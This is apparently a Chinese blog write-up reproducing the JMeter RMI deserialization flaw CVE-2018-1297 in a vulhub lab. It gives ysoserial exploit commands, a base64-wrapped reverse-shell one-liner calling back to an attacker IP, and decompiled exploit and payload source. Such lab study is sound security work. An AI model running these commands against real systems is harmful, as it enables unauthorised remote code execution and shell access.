Jmeter RMI 反序列化命令执行漏洞复现

工具下载

ysoserial

wget https://github.com/frohoff/ysoserial/releases/tag/v0.0.6/ysoserial-all.jar 

漏洞复现

靶场:vulhub—jmeter/CVE-2018-1297/
通过命令sudo docker-compose config可以看到,环境开启后将启动RMI服务并监听1099端口,我们只需要使用ysoserial.exploit.RMIRegistryExploit即可执行任意命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 靶机IP 目标端口 BeanShell1 '待执行命令'

反弹shell连接:

将该命令进行base64编码 --------> bash -i >& /dev/tcp/攻击机IP/任意端口 0>&1

执行该命令 -------->java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 靶机IP 目标端口 BeanShell1 'bash -c {echo,base64编码}|{base64,-d}|{bash,-i}'

Jmeter RMI 反序列化命令执行漏洞复现_第1张图片

漏洞原理分析

https://www.anquanke.com/post/id/197829#h3-5
https://xz.aliyun.com/t/2223

脚本分析

针对目标主机地址及端口的RMI Registry建立远程连接(RMI—使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信),连接成功后提交执行用户选择的 payload

RMIRegistryExploit

package ysoserial.exploit;

import java.rmi.ConnectIOException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.secmgr.ExecCheckingSecurityManager;

public class RMIRegistryExploit {
    public RMIRegistryExploit() {
    }

    public static void main(String[] args) throws Exception {
        String host = args[0];
        int port = Integer.parseInt(args[1]);
        String command = args[3];
        Registry registry = LocateRegistry.getRegistry(host, port);
        String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
        Class<? extends ObjectPayload> payloadClass = Class.forName(className);

        try {
            registry.list();
        } catch (ConnectIOException var8) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory((1)null));
        }

        exploit(registry, payloadClass, command);
    }

    public static void exploit(Registry registry, Class<? extends ObjectPayload> payloadClass, String command) throws Exception {
        (new ExecCheckingSecurityManager()).callWrapped(new 1(payloadClass, command, registry));
    }
}

BeanShell1

根据输入命令转化为对应序列化内容,然后将消息发送

package ysoserial.payloads;

import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({"pwntester", "cschneider4711"})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
    public BeanShell1() {
    }

    public PriorityQueue getObject(String command) throws Exception {
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
        Interpreter i = new Interpreter();
        i.eval(payload);
        XThis xt = new XThis(i.getNameSpace(), i);
        InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
        Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
        PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
        Object[] queue = new Object[]{1, 1};
        Reflections.setFieldValue(priorityQueue, "queue", queue);
        Reflections.setFieldValue(priorityQueue, "size", 2);
        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(BeanShell1.class, args);
    }
}

你可能感兴趣的:(网络安全,web安全)